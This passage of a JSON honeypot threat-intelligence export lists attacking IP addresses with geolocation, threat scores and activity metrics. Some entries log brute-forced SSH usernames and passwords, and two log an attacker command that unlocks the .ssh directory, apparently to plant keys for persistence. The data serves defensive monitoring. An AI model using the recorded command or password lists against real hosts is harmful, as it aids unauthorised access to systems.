      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:44:32.386000+00:00",
        "last_seen_30d": "2026-05-07T16:06:48.739000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "106.13.122.214": {
      "attack_count": 101,
      "first_seen": "2026-05-16T17:56:11.054Z",
      "last_seen": "2026-05-30T09:02:20.851Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "laravel",
        "monitor"
      ],
      "passwords_attempted": [
        "20192019",
        "Ai123456",
        "Root!123",
        "bishop123",
        "kontakt",
        "l3tm3in",
        "laravel",
        "monitor",
        "sprint",
        "warnightkardesim",
        "zahid"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 45.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:56:11.054000+00:00",
        "last_seen_30d": "2026-05-30T09:12:27.273000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 101,
        "Suricata": 60
      }
    },
    "58.47.122.134": {
      "attack_count": 98,
      "first_seen": "2026-05-23T08:01:59.189Z",
      "last_seen": "2026-05-23T13:53:47.937Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:01:59.189000+00:00",
        "last_seen_30d": "2026-05-23T13:54:57.667000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 52
      }
    },
    "59.103.116.224": {
      "attack_count": 96,
      "first_seen": "2026-05-22T20:47:51.570Z",
      "last_seen": "2026-05-23T05:05:05.811Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:38:51.799000+00:00",
        "last_seen_30d": "2026-05-23T05:08:03.315000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 60
      }
    },
    "208.87.242.183": {
      "attack_count": 78,
      "first_seen": "2026-05-09T00:33:11.361Z",
      "last_seen": "2026-05-31T14:02:21.302Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:33:11.361000+00:00",
        "last_seen_30d": "2026-05-31T14:03:27.050000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "223.244.22.213": {
      "attack_count": 72,
      "first_seen": "2026-05-23T11:33:40.811Z",
      "last_seen": "2026-05-23T12:48:38.072Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "mysql",
        "valheim"
      ],
      "passwords_attempted": [
        "123",
        "123qwe-=",
        "12qw12qw",
        "1qaz@WSX3edc$RFV5tgb",
        "3245gs5662d34",
        "Admin123$",
        "Dm123456",
        "Hs123456",
        "P@ssword",
        "Qq123!@#",
        "test1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jiaxing",
      "asn": 149178,
      "as_org": "China Telecom",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:33:40.811000+00:00",
        "last_seen_30d": "2026-05-23T12:58:42.370000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 39
      }
    },
    "185.255.100.196": {
      "attack_count": 54,
      "first_seen": "2026-05-10T03:46:42.950Z",
      "last_seen": "2026-05-31T14:26:31.343Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:46:42.950000+00:00",
        "last_seen_30d": "2026-05-31T14:27:37.130000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "110.36.27.124": {
      "attack_count": 50,
      "first_seen": "2026-05-13T14:25:52.841Z",
      "last_seen": "2026-05-13T14:31:17.368Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:25:52.841000+00:00",
        "last_seen_30d": "2026-05-13T14:32:24.053000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "27.254.151.65": {
      "attack_count": 50,
      "first_seen": "2026-05-04T20:13:50.426Z",
      "last_seen": "2026-05-04T20:55:24.680Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 9891,
      "as_org": "CS LOXINFO Public Company Limited.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:13:50.426000+00:00",
        "last_seen_30d": "2026-05-04T20:56:25.498000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 30
      }
    },
    "203.101.186.242": {
      "attack_count": 48,
      "first_seen": "2026-05-19T19:28:38.485Z",
      "last_seen": "2026-05-19T19:33:49.921Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:28:38.485000+00:00",
        "last_seen_30d": "2026-05-19T19:34:50.754000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "172.104.175.234": {
      "attack_count": 42,
      "first_seen": "2026-05-05T03:26:20.182Z",
      "last_seen": "2026-05-18T19:58:53.297Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:26:20.182000+00:00",
        "last_seen_30d": "2026-05-18T19:59:56.169000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "172.105.16.171": {
      "attack_count": 30,
      "first_seen": "2026-05-03T15:46:47.691Z",
      "last_seen": "2026-05-08T05:50:21.050Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:46:47.691000+00:00",
        "last_seen_30d": "2026-05-08T05:51:21.344000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "158.69.226.80": {
      "attack_count": 24,
      "first_seen": "2026-05-08T08:26:58.305Z",
      "last_seen": "2026-05-13T04:54:59.771Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:26:58.305000+00:00",
        "last_seen_30d": "2026-05-13T04:56:08.745000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "2.70.138.247": {
      "attack_count": 24,
      "first_seen": "2026-05-20T19:31:01.982Z",
      "last_seen": "2026-05-21T06:26:33.950Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Norrahammar",
      "asn": 44034,
      "as_org": "Hi3G Access AB",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T19:31:01.982000+00:00",
        "last_seen_30d": "2026-05-21T06:27:40.778000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "147.45.50.108": {
      "attack_count": 20,
      "first_seen": "2026-05-30T12:36:40.373Z",
      "last_seen": "2026-05-30T12:38:20.002Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.0,
        "persistence": 21.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 26,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T02:38:24+00:00",
        "last_seen_30d": "2026-05-30T12:39:24.535000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 18,
        "Honeytrap": 2
      }
    },
    "151.236.166.183": {
      "attack_count": 16,
      "first_seen": "2026-05-29T10:33:39.428Z",
      "last_seen": "2026-05-29T10:43:50.614Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 59588,
      "as_org": "Al Atheer Telecommunication-Iraq Co. Ltd. Incorporated in Cayman Islands",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T10:33:39.428000+00:00",
        "last_seen_30d": "2026-05-29T10:44:53.404000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "185.239.209.145": {
      "attack_count": 15,
      "first_seen": "2026-05-24T02:38:17.328Z",
      "last_seen": "2026-05-24T03:25:49.429Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Aa111111.",
        "P@ssw0rd1",
        "Samsung123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:38:17.328000+00:00",
        "last_seen_30d": "2026-05-24T03:26:52.557000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "34.76.2.52": {
      "attack_count": 14,
      "first_seen": "2026-05-29T04:41:16.665Z",
      "last_seen": "2026-05-29T04:42:02.965Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T04:41:16.665000+00:00",
        "last_seen_30d": "2026-05-29T04:43:06.481000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "66.132.195.87": {
      "attack_count": 10,
      "first_seen": "2026-05-27T01:26:19.380Z",
      "last_seen": "2026-05-27T01:26:59.101Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 30,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T21:09:21+00:00",
        "last_seen_30d": "2026-05-31T13:43:18.758000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 140,
        "Honeytrap": 48,
        "Cowrie": 10,
        "ConPot": 6,
        "CitrixHoneypot": 5,
        "ElasticPot": 5,
        "H0neytr4p": 3,
        "Dionaea": 1,
        "Mailoney": 1
      }
    },
    "146.185.219.13": {
      "attack_count": 8,
      "first_seen": "2026-05-19T04:08:24.470Z",
      "last_seen": "2026-05-24T01:02:45.303Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": null,
      "asn": 202422,
      "as_org": "G-Core Labs S.A.",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 16.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 20,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:55:54.877000+00:00",
        "last_seen_30d": "2026-05-29T01:03:23.856000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 8
      }
    },
    "142.93.2.99": {
      "attack_count": 6,
      "first_seen": "2026-05-10T08:00:07.596Z",
      "last_seen": "2026-05-10T09:52:19.534Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:09:23.513000+00:00",
        "last_seen_30d": "2026-05-10T11:55:14.493000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Cowrie": 6
      }
    },
    "148.66.110.200": {
      "attack_count": 6,
      "first_seen": "2026-05-20T10:28:19.685Z",
      "last_seen": "2026-05-20T16:48:19.979Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "French Polynesia",
      "country_code": "PF",
      "city": "Papeete",
      "asn": 9471,
      "as_org": "ONATI",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T10:28:19.685000+00:00",
        "last_seen_30d": "2026-05-20T16:49:25.825000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "193.46.255.158": {
      "attack_count": 6,
      "first_seen": "2026-05-11T15:44:07.581Z",
      "last_seen": "2026-05-11T15:44:19.042Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1412,
        "days_active_30d": 2,
        "ports_targeted_30d": 1007,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-10T18:58:17.521000+00:00",
        "last_seen_30d": "2026-05-11T15:49:18.650000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1268,
        "Honeytrap": 99,
        "ConPot": 8,
        "Redishoneypot": 8,
        "Dionaea": 7,
        "Cowrie": 6,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Tanner": 4,
        "CitrixHoneypot": 2,
        "Honeyaml": 2
      }
    },
    "216.227.148.98": {
      "attack_count": 6,
      "first_seen": "2026-05-10T10:57:42.773Z",
      "last_seen": "2026-05-10T10:57:49.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30058,
      "as_org": "FDCservers.net",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T10:57:42.773000+00:00",
        "last_seen_30d": "2026-05-10T10:58:52.548000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "65.49.1.24": {
      "attack_count": 6,
      "first_seen": "2026-05-02T09:01:56.168Z",
      "last_seen": "2026-05-26T06:22:43.477Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 30,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T02:16:50+00:00",
        "last_seen_30d": "2026-05-31T12:25:32.719000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 142,
        "Honeytrap": 67,
        "Cowrie": 6,
        "Mailoney": 6,
        "ConPot": 4,
        "Dionaea": 4,
        "CitrixHoneypot": 1,
        "Honeyaml": 1
      }
    },
    "8.222.128.242": {
      "attack_count": 6,
      "first_seen": "2026-05-24T19:43:12.668Z",
      "last_seen": "2026-05-24T19:43:16.406Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.4,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T17:04:47.939000+00:00",
        "last_seen_30d": "2026-05-25T21:27:15.353000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
